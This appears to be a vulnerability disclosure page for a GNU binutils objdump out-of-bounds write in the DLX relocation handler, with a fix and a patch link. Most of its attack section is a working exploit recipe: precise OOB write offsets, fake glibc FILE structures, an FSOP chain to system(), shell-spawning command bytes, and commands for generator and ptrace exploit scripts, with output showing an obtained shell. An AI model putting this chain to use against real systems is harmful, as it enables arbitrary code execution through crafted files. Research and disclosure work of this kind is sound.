Back to updates
UpdatedJul 27, 2026

objdump-Out-Of-Bounds-write — Updated!

Proof of Concept (PoC) demonstrating an out-of-bounds (OOB) write vulnerability in the DLX ELF backend of GNU binutils (specifically triggered via `objdump -g`)

Share

GNU Binutils objdump — OOB Write → FSOP → Arbitrary Code Execution

Target: GNU Binutils (all versions through HEAD) — objdump
Environment: Debian 13 (Trixie), glibc 2.41, x86_64
Impact: Arbitrary code execution
Vector: Crafted ELF file processed by objdump -g
ASLR: Bypassed (deterministic mmap delta)


Acknowledgments

A huge thanks to bikini for the shoutout and his fair play regarding this discovery. He is a great guy, I had the pleasure of chatting with him, and he has made some awesome findings of his own. Go check out his work!


Vulnerability

Root cause — bfd/elf32-dlx.c

The R_DLX_RELOC_26_PCREL relocation handler (elf32_dlx_relocate26) performs a 4-byte read/write at data + reloc_entry->address without validating the offset against the section size. Since the function returns bfd_reloc_ok, the generic bounds check in bfd/reloc.c is bypassed entirely.

// bfd/elf32-dlx.c — elf32_dlx_relocate26()
insn  = bfd_get_32(abfd, data + reloc_entry->address);   // OOB read
vallo = insn & 0x03FFFFFF;
if (vallo & 0x03000000)
    vallo = ~(vallo | 0xFC000000) + 1;                   // sign-extend 26 bits

val   = (sym->section->vma + sym->value) - vallo;
insn  = (insn & 0xFC000000) | (val & 0x03FFFFFF);

bfd_put_32(abfd, insn, data + reloc_entry->address);     // OOB write
return bfd_reloc_ok;                                      // skips bounds check

The offset reloc_entry->address is read directly from the ELF file and can point arbitrarily beyond the section buffer.

mmap proximity trick

On x86_64, ELF32 offsets are zero-extended, limiting writes to positive offsets. A .debug_info section ≥ 128 KB forces malloc() to use mmap(), placing the buffer adjacent to libc's data segment:

┌──────────────────────────────────────┐  ← same mmap region
│  .debug_info buffer (192 KB)         │  data     = 0x7f...d010
│  ├── fake _IO_wide_data  (+0x1000)   │
│  └── fake _IO_jump_t     (+0x2000)   │
│              ...                     │
│  _IO_2_1_stderr_                     │  stderr   = data + 0x21a4d0
│  _IO_wfile_jumps                     │  wfile    = data + 0x218218
│  system()                            │  system() = data + 0x87100
└──────────────────────────────────────┘

The delta stderr - data = 0x21A4D0 is constant across ASLR runs because both regions are allocated by the same mmap during libc loading.


FSOP exploitation chain

Execution path

objdump writes to stderr ("Can't get contents for section...")
  └─► _IO_wfile_overflow(stderr)
      └─► _IO_wdoallocbuf(stderr)
          └─► _IO_WDOALLOCATE(stderr)
              = stderr->_wide_data->_wide_vtable->__doallocate(stderr)
              = fake_vtable[0x68](https://github.com/4d4j/objdump-out-of-bounds-write/blob/main/stderr)
              = system(stderr)
              = system("p;sh")         ← stderr._flags[0:4] = "p;sh"

The 5 OOB writes (PCREL26)

#Target (offset from data)Effect
00x21A4CF = stderr − 1_flags[0:3] = cmd[0..2] → start of system() argument
10x21A4F8 = stderr + 0x28_IO_write_ptr ≠ 0 → forces flush → overflow
20x21A56F = stderr + 0x9F_wide_data[0:3] → points to fake _IO_wide_data
30x21A5A7 = stderr + 0xD7vtable[0:3]_IO_wfile_jumps
40x21A4D2 = stderr + 2_flags[3] = cmd[3], padding cleared → null terminator

Fake structures (in section buffer)

data + 0x1000 : fake _IO_wide_data
  +0xE0      : _wide_vtable → data + 0x2000

data + 0x2000 : fake _IO_jump_t
  +0x68      : __doallocate → system()

Command constraints

The exploit supports 2 to 4-character commands. Reloc 0 writes _flags[0:3] and reloc 4 writes _flags[3] + clears the padding, giving system() up to 4 chars before the natural null terminator.

Only the first two bytes are constrained by glibc's FILE flag layout:

BitFlagConstraintReason
1_IO_UNBUFFEREDcmd[0] & 0x02 == 0otherwise _IO_wdoallocbuf skips __doallocate
3_IO_NO_WRITEScmd[0] & 0x08 == 0otherwise overflow returns WEOF immediately
13_IO_IS_FILEBUFcmd[1] & 0x20 != 0required to enter the doallocate block

cmd[2] and cmd[3] are unconstrained.

CommandBytesEffect
"ps"70 73list processes
"p;sh"70 3B 73 68spawn interactive shell ← most useful
"p;ls"70 3B 6C 73list directory
"p;id"70 3B 69 64print uid/gid

Reproduction

Prerequisites

# Build binutils with DLX target support
cd binutils-gdb && mkdir build && cd build
../configure --target=dlx-elf --disable-nls --disable-werror
make -j$(nproc)

Generate payload + run exploit

# Step 1: Generate the malicious ELF (choose your command)
python3 poc_generate.py --cmd "p;sh" -o exploit.bin

# Step 2: Run the exploit (ASLR on, standalone, no GDB)
python3 poc_ptrace.py --cmd "p;sh"   # interactive shell
python3 poc_ptrace.py --cmd "p;id"   # print uid/gid
python3 poc_ptrace.py                # default: "ps"

The exploit automatically retries up to 5 times on ASLR byte-3 mismatches (~12% per attempt), reaching ~99.998% success rate.

Expected output

[*] libc: /lib/x86_64-linux-gnu/libc.so.6
[*] cmd = 'p;sh'  bytes = ['0x70', '0x3b', '0x73', '0x68']
[*] objdump_base = 0x005e61dfbf5000
[*] fn_addr      = 0x005e61e06cad90  (elf32_dlx_relocate26)
[*] libc_base = 0x0075b1ed86c000
[*] stderr    = 0x0075b1eda524e0
[*] system    = 0x0075b1ed8bf110
[*] actual delta = 0x21a4d0  (expected 0x21a4d0)
[*] reloc0 sym->value <- 0x00f65c20  (cmd[0..2] = 'p;s')
[*] reloc4 sym->value <- 0x016d0000  (cmd[3] = 0x68)
...
[+] system() reached — command executing
$ id                                   ← interactive shell
uid=1000(user) gid=1000(user) groups=1000(user)
[+] Done

Suggested fix

Add a bounds check in elf32_dlx_relocate26() before accessing the section data:

if (reloc_entry->address + 4 > input_section->size)
    return bfd_reloc_outofrange;

Files

FileDescription
poc_generate.pyGenerates the malicious DLX ELF payload (exploit.bin) with 5 OOB relocs
poc_ptrace.pyStandalone exploit — ptrace-based ASLR bypass, retry loop, no GDB required
exploit.binPre-generated payload (default cmd "p;sh")

Disclosure

This vulnerability was reported to the GNU Binutils maintainers. Exploit code is provided for authorized security research purposes only.

Patch

https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=114e3aae2b7e34057c8909301eaf78c15687e8e5

Categories